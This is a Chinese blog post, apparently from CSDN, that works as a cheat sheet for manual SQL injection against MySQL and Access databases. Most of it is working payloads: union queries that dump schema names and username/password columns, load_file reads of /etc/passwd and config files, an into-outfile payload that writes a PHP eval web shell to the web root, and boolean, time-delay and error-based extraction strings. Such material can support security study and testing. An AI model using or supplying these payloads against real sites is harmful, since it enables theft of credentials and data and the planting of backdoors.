mysql+access数据库手工注入

mysql+access数据库手工注入

  • 所有的玩笑里都藏着认真.

注入可以分很多种
根据数据类型
1,整形注入
2,字符型注入
3,搜素型注入
根据注入语法
1,可联合查询注入
2,可多语句查询注入
3,报错型注入
4,布尔型注入
5,基于时间延迟注入
6,宽字节注入 (前提字符型注入 ,gbk %df(查gbk表)和%27单引号 生成汉字)

mysql注入:

  • 常用函数:
system_user() 系统用户名
user() 用户名
current_user() 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统 Windows Server 2003

  • 两个读写函数load_file() MYSQL和into outfile( )
    load_file( )函数 读文件操作
前提: • 知道文件绝对路径 • 能够使用union查询 • 对web目录有写权限  (路径必须加双斜线//)
UNION SELECT 1,load_file('/etc/passwd'),3,4,5,6# 
UNION SELECT 1,load_file('D://phpStudy//WWW//conn.php'),3,4,5,6
UNION SELECT 1,load_file(0x443A2F2F70687053747564792F2F5757572F2F636F6E6E2E706870),3,4,5,6

into_outfile( )写文件操作

前提: • 文件名必须全路径(绝对路径)• 用户必须有写文件的权限• 没有对 ‘ 单引号过滤
SELECT '<?php eval($_POST[1]); ?>' into outfile ' D://phpStudy//WWW//hack.php '
  • 联合查询注入:
列库:union select 1,2,group_concat(schema_name),4,5,6 from information_schema.schemata -- 
列表:union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='库名'  -- 
列字段:union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_shcema='库名' and table_name= '表名'-- 
列数据:union select 1,2,group_concat(concat_ws(%26,username,password)),4,5,6 from 表名 -- 
  • 布尔注入:
判断数据库:and (ascii(substr(database(),1,1)))>101--
判断表:and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1),1,1))) >96--
判断字段:and (ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='admins' limit 1,1) ,1,1)))>1-- + 
判断数据:and (ascii(substr((select username from admins limit 1),1,1)))>1-- 
  • 延时注入:
and if(  (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1),1,1))> 32) ,sleep(5),1)
  • 报错注入(10个)
1.floor()
 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

Access注入:

Access数据库只有一个数据库,然后就是表、列、数据
针对于access数据库有几种方法,例如联合查询法和逐字猜解法以及偏移注入。

  • 联合查询法:
order by  -》union select 1,2,3,4 from 表名
  • 逐字猜解法:
首先判断是否存在表名
and exists (select * from 表名)
然后查看列名
and exists (select 列名 from 表名)
然后确认长度,进而猜测数据
and (select top 1 len(列名) from admin) =6
通过ascii查询数据
and (select top 1 asc(mid(列名,1-n,1)) from admin) =97
**余生很长,请多指教。**

在这里插入图片描述

发布了41 篇原创文章 · 获赞 24 · 访问量 5万+

猜你喜欢

转载自blog.csdn.net/csacs/article/details/100925870